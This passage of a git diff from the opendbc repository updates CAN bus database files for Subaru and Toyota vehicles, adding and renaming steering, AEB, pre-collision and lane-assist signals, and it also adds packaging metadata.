FuelTankSensorRight : 23|8@0+ (1,0) [0|0] "" Vector__XXX + +BO_ 1200 wheel_speed: 8 AntilockBrakeSystem + SG_ WheelSpeedFL : 7|16@0+ (0.01,-100) [0|0] "kph" Vector__XXX + SG_ WheelSpeedFR : 23|16@0+ (0.01,-100) [0|0] "kph" Vector__XXX + SG_ WheelSpeedRL : 39|16@0+ (0.01,-100) [0|0] "kph" Vector__XXX + SG_ WheelSpeedRR : 55|16@0+ (0.01,-100) [0|0] "kph" Vector__XXX + +CM_ SG_ 129 SteeringAngle "Steering wheel angle: positive is right and negative is left"; +CM_ SG_ 513 AcceleratorPos "processed interpretation of AcceleratorPedalSensor values"; +CM_ SG_ 1072 FuelTankSensorLeft "lower sensor values indicate a more full tank"; +CM_ SG_ 1072 FuelTankSensorRight "lower sensor values indicate a more full tank"; + + + + diff --git a/opendbc/pyproject.toml b/opendbc/pyproject.toml new file mode 100644 index 000000000..26af720fa --- /dev/null +++ b/opendbc/pyproject.toml @@ -0,0 +1,12 @@ +[tool.poetry] +name = "opendbc" +version = "1.0.0" +description = "CAN bus databases and tools" +license = "MIT" +authors = ["Vehicle Researcher "] +readme = "README.md" +repository = "https://github.com/commaai/opendbc" + +[tool.cython-lint] +max-line-length = 120 +ignore = ["E111", "E114"] diff --git a/opendbc/requirements.txt b/opendbc/requirements.txt index 62b29a25a..a95489c44 100644 --- a/opendbc/requirements.txt +++ b/opendbc/requirements.txt @@ -1,8 +1,8 @@ -Cython==0.29.34 -flake8==6.0.0 -Jinja2==3.1.2 -numpy==1.24.2 -pycapnp==1.3.0 -pylint==2.17.2 -pyyaml==6.0 +Cython +flake8 +Jinja2 +numpy +pycapnp +pylint==2.17.4 +pyyaml scons diff --git a/opendbc/subaru_global_2017_generated.dbc b/opendbc/subaru_global_2017_generated.dbc index b572d1b64..e85509eb8 100644 --- a/opendbc/subaru_global_2017_generated.dbc +++ b/opendbc/subaru_global_2017_generated.dbc @@ -87,10 +87,14 @@ BO_ 314 Wheel_Speeds: 8 XXX SG_ FL : 51|13@1+ (0.057,0) [0|255] "kph" XXX SG_ RL : 38|13@1+ (0.057,0) [0|255] "kph" XXX -BO_ 280 STOP_START: 8 XXX +BO_ 280 Steering_Torque_2: 8 XXX SG_ CHECKSUM : 0|8@1+ (1,0) [0|255] "" XXX SG_ COUNTER : 8|4@1+ (1,0) [0|15] "" XXX - SG_ State : 63|1@1+ (1,0) [0|1] "" XXX + SG_ Steer_Torque_Output : 13|11@1- (-10,0) [0|255] "" XXX + SG_ Signal1 : 24|8@1+ (1,0) [0|511] "" XXX + SG_ Steer_Torque_Sensor : 45|11@1- (-1,0) [0|255] "" XXX + SG_ Steering_Active : 61|1@0+ (1,0) [0|1] "" XXX + SG_ Steering_Disabled : 63|1@1+ (1,0) [0|1] "" XXX BO_ 281 Steering_Torque: 8 XXX SG_ CHECKSUM : 0|8@1+ (1,0) [0|255] "" XXX @@ -102,6 +106,11 @@ BO_ 281 Steering_Torque: 8 XXX SG_ Steering_Angle : 32|16@1- (-0.0217,0) [-600|600] "" X SG_ Steer_Torque_Output : 48|11@1- (-10,0) [-1000|1000] "" XXX +BO_ 282 Steering_2: 8 XXX + SG_ CHECKSUM : 0|8@1+ (1,0) [0|1] "" XXX + SG_ COUNTER : 8|4@1+ (1,0) [0|1] "" XXX + SG_ Steering_Angle : 24|17@1- (-0.01,0) [0|1] "" XXX + BO_ 312 Brake_Pressure_L_R: 8 XXX SG_ CHECKSUM : 0|8@1+ (1,0) [0|255] "" XXX SG_ COUNTER : 8|4@1+ (1,0) [0|15] "" XXX @@ -131,12 +140,19 @@ BO_ 290 ES_LKAS: 8 XXX SG_ LKAS_Output : 16|13@1- (-1,0) [-8191|8191] "" XXX SG_ LKAS_Request : 29|1@0+ (1,0) [0|1] "" XXX +BO_ 292 ES_LKAS_ANGLE: 8 XXX + SG_ CHECKSUM : 0|8@1+ (1,0) [0|1] "" XXX + SG_ COUNTER : 8|4@1+ (1,0) [0|1] "" XXX + SG_ LKAS_Request : 12|1@1+ (1,0) [0|1] "" XXX + SG_ LKAS_Output : 40|17@1- (-0.01,0) [0|1] "deg" XXX + SG_ SET_3 : 60|2@1+ (1,0) [0|1] "" XXX + BO_ 544 ES_Brake: 8 XXX SG_ CHECKSUM : 0|8@1+ (1,0) [0|255] "" XXX SG_ COUNTER : 8|4@1+ (1,0) [0|15] "" XXX SG_ Signal1 : 12|4@1+ (1,0) [0|15] "" XXX SG_ Brake_Pressure : 16|16@1+ (1,0) [0|65535] "" XXX - SG_ Signal2 : 32|4@1+ (1,0) [0|15] "" XXX + SG_ AEB_Status : 32|4@1+ (1,0) [0|15] "" XXX SG_ Cruise_Brake_Lights : 36|1@1+ (1,0) [0|1] "" XXX SG_ Cruise_Brake_Fault : 37|1@1+ (1,0) [0|1] "" XXX SG_ Cruise_Brake_Active : 38|1@1+ (1,0) [0|1] "" XXX @@ -244,6 +260,9 @@ BO_ 1677 Dash_State: 8 XXX CM_ SG_ 64 Throttle_Combo "Throttle Cruise + Pedal"; CM_ SG_ 313 Brake_Lights "Driver or Cruise Brake on"; CM_ SG_ 544 Cruise_Brake_Lights "1 = switch on brake lights"; +CM_ SG_ 544 Brake_Pressure "Winds down after cruise disabled. Also can be non-zero when likely preparing for AEB"; +CM_ SG_ 544 Signal3 "Usually goes to 2 if AEB_Status is 4"; +CM_ SG_ 544 AEB_Status "Occasionally is 4 instead of 8 while Brake_Pressure is non-zero, unsure why"; CM_ SG_ 801 PCB_Off "Pre-Collision Braking off"; CM_ SG_ 801 Brake_Lights "Driver or Cruise brake on"; CM_ SG_ 801 Cruise_State "0 = Normal, 1 = Hold+User Brake, 2 = Ready, 3 = Hold"; @@ -260,6 +279,7 @@ CM_ SG_ 802 LKAS_Dash_State "0 = Off, 1 = Ready, 2 = Active"; CM_ SG_ 802 LKAS_Right_Line_Visible "0 = Off, 1 = White, 2 = Green, 3 = Orange"; CM_ SG_ 912 UNITS "0 = Metric, 1 = Imperial"; CM_ SG_ 912 ICY_ROAD "1 = DASHLIGHT ON, 2 = WARNING, 3 = OFF"; +VAL_ 544 AEB_Status 12 "AEB related" 8 "AEB actuation" 4 "AEB related" 0 "No AEB actuation"; CM_ "subaru_global_2017.dbc starts here"; @@ -316,7 +336,7 @@ BO_ 576 CruiseControl: 8 XXX SG_ Cruise_Activated : 41|1@1+ (1,0) [0|1] "" XXX SG_ Signal2 : 42|22@1+ (1,0) [0|4194303] "" XXX -BO_ 803 INFOTAINMENT_STATUS: 8 XXX +BO_ 803 ES_Infotainment: 8 XXX SG_ CHECKSUM : 0|8@1+ (1,0) [0|255] "" XXX SG_ COUNTER : 8|4@1+ (1,0) [0|15] "" XXX SG_ LKAS_Blue_Lines : 15|4@0+ (1,0) [0|15] "" XXX diff --git a/opendbc/subaru_global_2020_hybrid_generated.dbc b/opendbc/subaru_global_2020_hybrid_generated.dbc index 86358c450..4f2c1a1d7 100644 --- a/opendbc/subaru_global_2020_hybrid_generated.dbc +++ b/opendbc/subaru_global_2020_hybrid_generated.dbc @@ -87,10 +87,14 @@ BO_ 314 Wheel_Speeds: 8 XXX SG_ FL : 51|13@1+ (0.057,0) [0|255] "kph" XXX SG_ RL : 38|13@1+ (0.057,0) [0|255] "kph" XXX -BO_ 280 STOP_START: 8 XXX +BO_ 280 Steering_Torque_2: 8 XXX SG_ CHECKSUM : 0|8@1+ (1,0) [0|255] "" XXX SG_ COUNTER : 8|4@1+ (1,0) [0|15] "" XXX - SG_ State : 63|1@1+ (1,0) [0|1] "" XXX + SG_ Steer_Torque_Output : 13|11@1- (-10,0) [0|255] "" XXX + SG_ Signal1 : 24|8@1+ (1,0) [0|511] "" XXX + SG_ Steer_Torque_Sensor : 45|11@1- (-1,0) [0|255] "" XXX + SG_ Steering_Active : 61|1@0+ (1,0) [0|1] "" XXX + SG_ Steering_Disabled : 63|1@1+ (1,0) [0|1] "" XXX BO_ 281 Steering_Torque: 8 XXX SG_ CHECKSUM : 0|8@1+ (1,0) [0|255] "" XXX @@ -102,6 +106,11 @@ BO_ 281 Steering_Torque: 8 XXX SG_ Steering_Angle : 32|16@1- (-0.0217,0) [-600|600] "" X SG_ Steer_Torque_Output : 48|11@1- (-10,0) [-1000|1000] "" XXX +BO_ 282 Steering_2: 8 XXX + SG_ CHECKSUM : 0|8@1+ (1,0) [0|1] "" XXX + SG_ COUNTER : 8|4@1+ (1,0) [0|1] "" XXX + SG_ Steering_Angle : 24|17@1- (-0.01,0) [0|1] "" XXX + BO_ 312 Brake_Pressure_L_R: 8 XXX SG_ CHECKSUM : 0|8@1+ (1,0) [0|255] "" XXX SG_ COUNTER : 8|4@1+ (1,0) [0|15] "" XXX @@ -131,12 +140,19 @@ BO_ 290 ES_LKAS: 8 XXX SG_ LKAS_Output : 16|13@1- (-1,0) [-8191|8191] "" XXX SG_ LKAS_Request : 29|1@0+ (1,0) [0|1] "" XXX +BO_ 292 ES_LKAS_ANGLE: 8 XXX + SG_ CHECKSUM : 0|8@1+ (1,0) [0|1] "" XXX + SG_ COUNTER : 8|4@1+ (1,0) [0|1] "" XXX + SG_ LKAS_Request : 12|1@1+ (1,0) [0|1] "" XXX + SG_ LKAS_Output : 40|17@1- (-0.01,0) [0|1] "deg" XXX + SG_ SET_3 : 60|2@1+ (1,0) [0|1] "" XXX + BO_ 544 ES_Brake: 8 XXX SG_ CHECKSUM : 0|8@1+ (1,0) [0|255] "" XXX SG_ COUNTER : 8|4@1+ (1,0) [0|15] "" XXX SG_ Signal1 : 12|4@1+ (1,0) [0|15] "" XXX SG_ Brake_Pressure : 16|16@1+ (1,0) [0|65535] "" XXX - SG_ Signal2 : 32|4@1+ (1,0) [0|15] "" XXX + SG_ AEB_Status : 32|4@1+ (1,0) [0|15] "" XXX SG_ Cruise_Brake_Lights : 36|1@1+ (1,0) [0|1] "" XXX SG_ Cruise_Brake_Fault : 37|1@1+ (1,0) [0|1] "" XXX SG_ Cruise_Brake_Active : 38|1@1+ (1,0) [0|1] "" XXX @@ -244,6 +260,9 @@ BO_ 1677 Dash_State: 8 XXX CM_ SG_ 64 Throttle_Combo "Throttle Cruise + Pedal"; CM_ SG_ 313 Brake_Lights "Driver or Cruise Brake on"; CM_ SG_ 544 Cruise_Brake_Lights "1 = switch on brake lights"; +CM_ SG_ 544 Brake_Pressure "Winds down after cruise disabled. Also can be non-zero when likely preparing for AEB"; +CM_ SG_ 544 Signal3 "Usually goes to 2 if AEB_Status is 4"; +CM_ SG_ 544 AEB_Status "Occasionally is 4 instead of 8 while Brake_Pressure is non-zero, unsure why"; CM_ SG_ 801 PCB_Off "Pre-Collision Braking off"; CM_ SG_ 801 Brake_Lights "Driver or Cruise brake on"; CM_ SG_ 801 Cruise_State "0 = Normal, 1 = Hold+User Brake, 2 = Ready, 3 = Hold"; @@ -260,6 +279,7 @@ CM_ SG_ 802 LKAS_Dash_State "0 = Off, 1 = Ready, 2 = Active"; CM_ SG_ 802 LKAS_Right_Line_Visible "0 = Off, 1 = White, 2 = Green, 3 = Orange"; CM_ SG_ 912 UNITS "0 = Metric, 1 = Imperial"; CM_ SG_ 912 ICY_ROAD "1 = DASHLIGHT ON, 2 = WARNING, 3 = OFF"; +VAL_ 544 AEB_Status 12 "AEB related" 8 "AEB actuation" 4 "AEB related" 0 "No AEB actuation"; CM_ "subaru_global_2020_hybrid.dbc starts here"; diff --git a/opendbc/toyota_new_mc_pt_generated.dbc b/opendbc/toyota_new_mc_pt_generated.dbc index 5bea7440b..f18a88427 100644 --- a/opendbc/toyota_new_mc_pt_generated.dbc +++ b/opendbc/toyota_new_mc_pt_generated.dbc @@ -88,7 +88,7 @@ BU_: XXX DSU HCU EPS IPAS CGW BGM BO_ 36 KINEMATICS: 8 XXX SG_ ACCEL_Y : 33|10@0+ (0.03589,-18.375) [0|65535] "m/s^2" XXX SG_ YAW_RATE : 1|10@0+ (0.244,-125) [0|65535] "deg/s" XXX - SG_ STEERING_TORQUE : 17|10@0+ (1,-512) [0|65535] "" XXX + SG_ ACCEL_X : 17|10@0+ (0.03589,-18.375) [0|65535] "m/s^2" XXX BO_ 37 STEER_ANGLE_SENSOR: 8 XXX SG_ STEER_ANGLE : 3|12@0- (1.5,0) [-500|500] "deg" XXX @@ -125,8 +125,9 @@ BO_ 452 ENGINE_RPM: 8 CGW BO_ 466 PCM_CRUISE: 8 XXX SG_ GAS_RELEASED : 4|1@0+ (1,0) [0|1] "" XXX SG_ CRUISE_ACTIVE : 5|1@0+ (1,0) [0|1] "" XXX - SG_ STANDSTILL_ON : 12|1@0+ (1,0) [0|1] "" XXX - SG_ ACCEL_NET : 23|16@0- (0.001,0) [-20|20] "m/s^2" XXX + SG_ ACC_BRAKING : 12|1@0+ (1,0) [0|1] "" XXX + SG_ ACCEL_NET : 23|16@0- (0.0009765625,0) [-20|20] "m/s^2" XXX + SG_ NEUTRAL_FORCE : 39|16@0- (2,0) [-65536|65534] "N" XXX SG_ CRUISE_STATE : 55|4@0+ (1,0) [0|15] "" XXX SG_ CANCEL_REQ : 49|1@1+ (1,0) [0|1] "" XXX SG_ CHECKSUM : 63|8@0+ (1,0) [0|255] "" XXX @@ -267,8 +268,13 @@ BO_ 1041 ACC_HUD: 8 DSU SG_ PCS_INDICATOR : 7|2@0+ (1,0) [0|3] "" XXX SG_ FCW : 4|1@0+ (1,0) [0|1] "" XXX SG_ SET_ME_X20 : 15|8@0+ (1,0) [0|1] "" XXX + SG_ PCS_DUST : 34|1@0+ (1,0) [0|0] "" XXX + SG_ PCS_TEMP : 35|1@0+ (1,0) [0|0] "" XXX + SG_ PCS_DUST2 : 41|1@0+ (1,0) [0|0] "" XXX + SG_ PCS_TEMP2 : 42|1@0+ (1,0) [0|0] "" XXX SG_ SET_ME_X10 : 39|8@0+ (1,0) [0|1] "" XXX SG_ PCS_OFF : 40|1@0+ (1,0) [0|0] "" XXX + SG_ FRD_ADJ : 53|3@0+ (1,0) [0|0] "" XXX SG_ PCS_SENSITIVITY : 55|8@0+ (1,0) [0|1] "" XXX BO_ 1042 LKAS_HUD: 8 DSU @@ -285,7 +291,7 @@ BO_ 1042 LKAS_HUD: 8 DSU SG_ LDA_UNAVAILABLE : 16|1@0+ (1,0) [0|1] "" XXX SG_ LDA_SENSITIVITY : 18|2@0+ (1,0) [0|3] "" XXX SG_ LDA_SA_TOGGLE : 20|2@0+ (1,0) [0|3] "" XXX - SG_ LDA_SPEED_TOO_LOW : 21|1@0+ (1,0) [0|1] "" XXX + SG_ LDA_MESSAGES : 23|3@0+ (1,0) [0|1] "" XXX SG_ LDA_ON_MESSAGE : 31|2@0+ (1,0) [0|3] "" XXX SG_ REPEATED_BEEPS : 32|1@0+ (1,0) [0|1] "" XXX SG_ LANE_SWAY_TOGGLE : 43|1@0+ (1,0) [0|1] "" XXX @@ -309,6 +315,11 @@ BO_ 1043 TIME : 8 CGW SG_ GMTDIFF_MINUTES : 50|6@0+ (1,0) [0|0] "minutes" XXX SG_ SUMMER : 60|1@0+ (1,0) [0|0] "" XXX +BO_ 1044 AUTO_HIGH_BEAM: 8 FCM + SG_ AHB_DUTY : 47|8@0+ (0.5,0) [0|0] "%" Vector__XXX + SG_ F_AHB : 55|4@0+ (1,0) [0|0] "" Vector__XXX + SG_ C_AHB : 51|4@0+ (1,0) [0|0] "" Vector__XXX + BO_ 1083 AUTOPARK_STATUS: 8 IPAS SG_ STATE : 7|4@0+ (1,0) [0|15] "" XXX @@ -422,6 +433,8 @@ CM_ SG_ 36 YAW_RATE "verify"; CM_ SG_ 36 STEERING_TORQUE "does not seem the steer torque, tbd"; CM_ SG_ 37 STEER_FRACTION "1/15th of the signal STEER_ANGLE, which is 1.5 deg; note that 0x8 is never set"; CM_ SG_ 37 STEER_RATE "factor is tbd"; +CM_ SG_ 466 NEUTRAL_FORCE "force in newtons the engine/electric motors are applying without any acceleration commands or user input"; +CM_ SG_ 466 ACC_BRAKING "whether brakes are being actuated from ACC command"; CM_ SG_ 466 ACCEL_NET "net acceleration produced by the system, given ACCEL_CMD, road grade and other factors"; CM_ SG_ 466 CRUISE_STATE "Active state is 8, if standstill is requested will switch to state 11(3 sec timer), after timer is elapsed will switch into state 7(standstill). If plus button was pressed - status 9, minus button pressed - status 10"; CM_ SG_ 467 ACC_FAULTED "1 when ACC is faulted and the PCM disallows engagement"; @@ -454,13 +467,18 @@ CM_ SG_ 956 GEAR "on 6MT, only R shows."; CM_ SG_ 1009 UI_SET_SPEED "units seem to be whatever the car is set to"; CM_ SG_ 1041 PCS_INDICATOR "Pre-Collision System Indicator"; CM_ SG_ 1041 PCS_SENSITIVITY "Pre-Collision System Sensitivity"; +CM_ SG_ 1041 PCS_DUST "alert: Front Camera Low Visibility Unavailable See Owner's Manual"; +CM_ SG_ 1041 PCS_DUST2 "alert: Pre-Collision System Radar Sensor Blocked Unavailable Clean Radar Sensor"; +CM_ SG_ 1041 PCS_TEMP "alert: Front Camera Out of Temperature Range Unavailable Wait until Normal Temperature"; +CM_ SG_ 1041 PCS_TEMP2 "alert: Pre-Collision System Out of Temperature Range Unavailable See Owner's Manual"; +CM_ SG_ 1041 FRD_ADJ "alert: ERROR ADJUSTING FRONT RADAR BEAM"; CM_ SG_ 1042 LDA_SA_TOGGLE "LDA Steering Assist Toggle"; CM_ SG_ 1042 LDW_EXIST "Unclear what this is, it's usually set to 0"; CM_ SG_ 1042 LDA_SENSITIVITY "LDA Sensitivity"; CM_ SG_ 1042 LDA_ON_MESSAGE "Display LDA Turned ON message"; CM_ SG_ 1042 REPEATED_BEEPS "LDA audible warning"; CM_ SG_ 1042 LDA_UNAVAILABLE_QUIET "LDA toggles and sensitivity settings are greyed out if set to 1"; -CM_ SG_ 1042 LDA_SPEED_TOO_LOW "length is 3 bits in the leaked DBC, displays LDA unavailable below approx 50 km/h if set to 1"; +CM_ SG_ 1042 LDA_MESSAGES "Various LDA Messages"; CM_ SG_ 1042 LDA_FRONT_CAMERA_BLOCKED "originally LDAFCVB, LDA related settings are greyed out if set to 1"; CM_ SG_ 1042 TAKE_CONTROL "Please Control Steering Wheel warning"; CM_ SG_ 1042 LANE_SWAY_TOGGLE "Lane Sway Warning System SWS Switch"; @@ -524,7 +542,7 @@ VAL_ 1042 LEFT_LINE 3 "orange" 2 "faded" 1 "solid" 0 "none"; VAL_ 1042 LDA_ON_MESSAGE 2 "Lane Departure Alert Turned ON, Steering Assist Inactive" 1 "Lane Departure Alert Turned ON, Steering Assist Active" 0 "clear"; VAL_ 1042 LDA_SA_TOGGLE 2 "steering assist off" 1 "steering assist on"; VAL_ 1042 LDA_SENSITIVITY 2 "standard" 1 "high" 0 "undefined"; -VAL_ 1042 LDA_SPEED_TOO_LOW 1 "lda unavailable, speed too low" 0 "ok"; +VAL_ 1042 LDA_MESSAGES 4 "lda unavailable at this speed" 1 "lda unavailable below approx 50km/h" 0 "ok"; VAL_ 1042 LDA_FRONT_CAMERA_BLOCKED 1 "lda unavailable" 0 "ok"; VAL_ 1042 TAKE_CONTROL 1 "take control" 0 "ok"; VAL_ 1042 LANE_SWAY_WARNING 3 "ok" 2 "orange please take a break" 1 "prompt would you like to take a break" 0 "ok"; diff --git a/opendbc/toyota_nodsu_pt_generated.dbc b/opendbc/toyota_nodsu_pt_generated.dbc index f3c5025f6..8515e54af 100644 --- a/opendbc/toyota_nodsu_pt_generated.dbc +++ b/opendbc/toyota_nodsu_pt_generated.dbc @@ -89,7 +89,7 @@ BU_: XXX DSU HCU EPS IPAS CGW BGM BO_ 36 KINEMATICS: 8 XXX SG_ ACCEL_Y : 33|10@0+ (0.03589,-18.375) [0|65535] "m/s^2" XXX SG_ YAW_RATE : 1|10@0+ (0.244,-125) [0|65535] "deg/s" XXX - SG_ STEERING_TORQUE : 17|10@0+ (1,-512) [0|65535] "" XXX + SG_ ACCEL_X : 17|10@0+ (0.03589,-18.375) [0|65535] "m/s^2" XXX BO_ 37 STEER_ANGLE_SENSOR: 8 XXX SG_ STEER_ANGLE : 3|12@0- (1.5,0) [-500|500] "deg" XXX @@ -126,8 +126,9 @@ BO_ 452 ENGINE_RPM: 8 CGW BO_ 466 PCM_CRUISE: 8 XXX SG_ GAS_RELEASED : 4|1@0+ (1,0) [0|1] "" XXX SG_ CRUISE_ACTIVE : 5|1@0+ (1,0) [0|1] "" XXX - SG_ STANDSTILL_ON : 12|1@0+ (1,0) [0|1] "" XXX - SG_ ACCEL_NET : 23|16@0- (0.001,0) [-20|20] "m/s^2" XXX + SG_ ACC_BRAKING : 12|1@0+ (1,0) [0|1] "" XXX + SG_ ACCEL_NET : 23|16@0- (0.0009765625,0) [-20|20] "m/s^2" XXX + SG_ NEUTRAL_FORCE : 39|16@0- (2,0) [-65536|65534] "N" XXX SG_ CRUISE_STATE : 55|4@0+ (1,0) [0|15] "" XXX SG_ CANCEL_REQ : 49|1@1+ (1,0) [0|1] "" XXX SG_ CHECKSUM : 63|8@0+ (1,0) [0|255] "" XXX @@ -269,8 +270,13 @@ BO_ 1041 ACC_HUD: 8 DSU SG_ PCS_INDICATOR : 7|2@0+ (1,0) [0|3] "" XXX SG_ FCW : 4|1@0+ (1,0) [0|1] "" XXX SG_ SET_ME_X20 : 15|8@0+ (1,0) [0|1] "" XXX + SG_ PCS_DUST : 34|1@0+ (1,0) [0|0] "" XXX + SG_ PCS_TEMP : 35|1@0+ (1,0) [0|0] "" XXX + SG_ PCS_DUST2 : 41|1@0+ (1,0) [0|0] "" XXX + SG_ PCS_TEMP2 : 42|1@0+ (1,0) [0|0] "" XXX SG_ SET_ME_X10 : 39|8@0+ (1,0) [0|1] "" XXX SG_ PCS_OFF : 40|1@0+ (1,0) [0|0] "" XXX + SG_ FRD_ADJ : 53|3@0+ (1,0) [0|0] "" XXX SG_ PCS_SENSITIVITY : 55|8@0+ (1,0) [0|1] "" XXX BO_ 1042 LKAS_HUD: 8 DSU @@ -287,7 +293,7 @@ BO_ 1042 LKAS_HUD: 8 DSU SG_ LDA_UNAVAILABLE : 16|1@0+ (1,0) [0|1] "" XXX SG_ LDA_SENSITIVITY : 18|2@0+ (1,0) [0|3] "" XXX SG_ LDA_SA_TOGGLE : 20|2@0+ (1,0) [0|3] "" XXX - SG_ LDA_SPEED_TOO_LOW : 21|1@0+ (1,0) [0|1] "" XXX + SG_ LDA_MESSAGES : 23|3@0+ (1,0) [0|1] "" XXX SG_ LDA_ON_MESSAGE : 31|2@0+ (1,0) [0|3] "" XXX SG_ REPEATED_BEEPS : 32|1@0+ (1,0) [0|1] "" XXX SG_ LANE_SWAY_TOGGLE : 43|1@0+ (1,0) [0|1] "" XXX @@ -311,6 +317,11 @@ BO_ 1043 TIME : 8 CGW SG_ GMTDIFF_MINUTES : 50|6@0+ (1,0) [0|0] "minutes" XXX SG_ SUMMER : 60|1@0+ (1,0) [0|0] "" XXX +BO_ 1044 AUTO_HIGH_BEAM: 8 FCM + SG_ AHB_DUTY : 47|8@0+ (0.5,0) [0|0] "%" Vector__XXX + SG_ F_AHB : 55|4@0+ (1,0) [0|0] "" Vector__XXX + SG_ C_AHB : 51|4@0+ (1,0) [0|0] "" Vector__XXX + BO_ 1083 AUTOPARK_STATUS: 8 IPAS SG_ STATE : 7|4@0+ (1,0) [0|15] "" XXX @@ -424,6 +435,8 @@ CM_ SG_ 36 YAW_RATE "verify"; CM_ SG_ 36 STEERING_TORQUE "does not seem the steer torque, tbd"; CM_ SG_ 37 STEER_FRACTION "1/15th of the signal STEER_ANGLE, which is 1.5 deg; note that 0x8 is never set"; CM_ SG_ 37 STEER_RATE "factor is tbd"; +CM_ SG_ 466 NEUTRAL_FORCE "force in newtons the engine/electric motors are applying without any acceleration commands or user input"; +CM_ SG_ 466 ACC_BRAKING "whether brakes are being actuated from ACC command"; CM_ SG_ 466 ACCEL_NET "net acceleration produced by the system, given ACCEL_CMD, road grade and other factors"; CM_ SG_ 466 CRUISE_STATE "Active state is 8, if standstill is requested will switch to state 11(3 sec timer), after timer is elapsed will switch into state 7(standstill). If plus button was pressed - status 9, minus button pressed - status 10"; CM_ SG_ 467 ACC_FAULTED "1 when ACC is faulted and the PCM disallows engagement"; @@ -456,13 +469,18 @@ CM_ SG_ 956 GEAR "on 6MT, only R shows."; CM_ SG_ 1009 UI_SET_SPEED "units seem to be whatever the car is set to"; CM_ SG_ 1041 PCS_INDICATOR "Pre-Collision System Indicator"; CM_ SG_ 1041 PCS_SENSITIVITY "Pre-Collision System Sensitivity"; +CM_ SG_ 1041 PCS_DUST "alert: Front Camera Low Visibility Unavailable See Owner's Manual"; +CM_ SG_ 1041 PCS_DUST2 "alert: Pre-Collision System Radar Sensor Blocked Unavailable Clean Radar Sensor"; +CM_ SG_ 1041 PCS_TEMP "alert: Front Camera Out of Temperature Range Unavailable Wait until Normal Temperature"; +CM_ SG_ 1041 PCS_TEMP2 "alert: Pre-Collision System Out of Temperature Range Unavailable See Owner's Manual"; +CM_ SG_ 1041 FRD_ADJ "alert: ERROR ADJUSTING FRONT RADAR BEAM"; CM_ SG_ 1042 LDA_SA_TOGGLE "LDA Steering Assist Toggle"; CM_ SG_ 1042 LDW_EXIST "Unclear what this is, it's usually set to 0"; CM_ SG_ 1042 LDA_SENSITIVITY "LDA Sensitivity"; CM_ SG_ 1042 LDA_ON_MESSAGE "Display LDA Turned ON message"; CM_ SG_ 1042 REPEATED_BEEPS "LDA audible warning"; CM_ SG_ 1042 LDA_UNAVAILABLE_QUIET "LDA toggles and sensitivity settings are greyed out if set to 1"; -CM_ SG_ 1042 LDA_SPEED_TOO_LOW "length is 3 bits in the leaked DBC, displays LDA unavailable below approx 50 km/h if set to 1"; +CM_ SG_ 1042 LDA_MESSAGES "Various LDA Messages"; CM_ SG_ 1042 LDA_FRONT_CAMERA_BLOCKED "originally LDAFCVB, LDA related settings are greyed out if set to 1"; CM_ SG_ 1042 TAKE_CONTROL "Please Control Steering Wheel warning"; CM_ SG_ 1042 LANE_SWAY_TOGGLE "Lane Sway Warning System SWS Switch"; @@ -527,7 +545,7 @@ VAL_ 1042 LEFT_LINE 3 "orange" 2 "faded" 1 "solid" 0 "none"; VAL_ 1042 LDA_ON_MESSAGE 2 "Lane Departure Alert Turned ON, Steering Assist Inactive" 1 "Lane Departure Alert Turned ON, Steering Assist Active" 0 "clear"; VAL_ 1042 LDA_SA_TOGGLE 2 "steering assist off" 1 "steering assist on"; VAL_ 1042 LDA_SENSITIVITY 2 "standard" 1 "high" 0 "undefined"; -VAL_ 1042 LDA_SPEED_TOO_LOW 1 "lda unavailable, speed too low" 0 "ok"; +VAL_ 1042 LDA_MESSAGES 4 "lda unavailable at this speed" 1 "lda unavailable below approx 50km/h" 0 "ok"; VAL_ 1042 LDA_FRONT_CAMERA_BLOCKED 1 "lda unavailable" 0 "ok"; VAL_ 1042 TAKE_CONTROL 1 "take control" 0 "ok"; VAL_ 1042 LANE_SWAY_WARNING 3 "ok" 2 "orange please take a break" 1 "prompt would you like to take a break" 0 "ok"; @@ -555,7 +573,7 @@ BO_ 401 STEERING_LTA: 8 XXX SG_ STEER_ANGLE_CMD : 15|16@0- (0.0573,0) [-540|540] "" XXX SG_ STEER_REQUEST_2 : 25|1@0+ (1,0) [0|1] "" XXX SG_ LKA_ACTIVE : 26|1@0+ (1,0) [0|1] "" XXX - SG_ BIT : 30|1@0+ (1,0) [0|1] "" XXX + SG_ CLEAR_HOLD_STEERING_ALERT : 30|1@0+ (1,0) [0|1] "" XXX SG_ COUNTER : 6|6@0+ (1,0) [0|255] "" XXX SG_ STEER_REQUEST : 0|1@0+ (1,0) [0|1] "" XXX SG_ SETME_X1 : 7|1@0+ (1,0) [0|1] "" XXX @@ -572,6 +590,16 @@ BO_ 610 EPS_STATUS: 8 EPS SG_ TYPE : 24|1@0+ (1,0) [0|1] "" XXX SG_ CHECKSUM : 63|8@0+ (1,0) [0|255] "" XXX +BO_ 881 LTA_RELATED: 8 FCM + SG_ GAS_PEDAL : 15|8@0+ (0.005,0) [0|1] "" XXX + SG_ STEER_ANGLE : 23|16@0- (0.0573,0) [-500|500] "" XXX + SG_ TURN_SIGNALS : 35|2@0+ (1,0) [0|3] "" XXX + SG_ UNKNOWN_2 : 58|1@0+ (1,0) [0|1] "" XXX + SG_ LDA_SA_TOGGLE : 59|1@0+ (1,0) [0|1] "" XXX + SG_ LTA_STEER_REQUEST : 60|1@0+ (1,0) [0|1] "" XXX + SG_ UNKNOWN : 61|1@0+ (1,0) [0|1] "" XXX + SG_ STEERING_PRESSED : 63|1@0+ (1,0) [0|1] "" XXX + BO_ 1014 BSM: 8 XXX SG_ L_ADJACENT : 0|1@0+ (1,0) [0|1] "" XXX SG_ L_APPROACHING : 8|1@0+ (1,0) [0|1] "" XXX @@ -584,13 +612,22 @@ CM_ SG_ 401 PERCENTAGE "driver override percentage (0-100), very close to steeri CM_ SG_ 401 SETME_X64 "ramps to 0 smoothly then back on falling edge of STEER_REQUEST if BIT isn't 1"; CM_ SG_ 401 ANGLE "angle of car relative to lane center on LTA camera"; CM_ SG_ 401 STEER_ANGLE_CMD "desired angle, OEM steers up to 95 degrees, no angle limit but torque will bottom out"; -CM_ SG_ 401 BIT "has correlation to STEER_REQUEST"; +CM_ SG_ 401 CLEAR_HOLD_STEERING_ALERT "set to 1 when user clears LKAS_HUD->LDA_ALERT ('Hold Steering') by applying torque to steering wheel"; CM_ SG_ 401 STEER_REQUEST "enable bit for steering, 1 to steer, 0 to not"; CM_ SG_ 401 STEER_REQUEST_2 "enable bit for steering, 1 to steer, 0 to not"; CM_ SG_ 401 LKA_ACTIVE "1 when using LTA for LKA"; +CM_ SG_ 401 SETME_X1 "usually 1, seen at 0 on some South American Corollas indicating lack of stock Lane Tracing Assist"; +CM_ 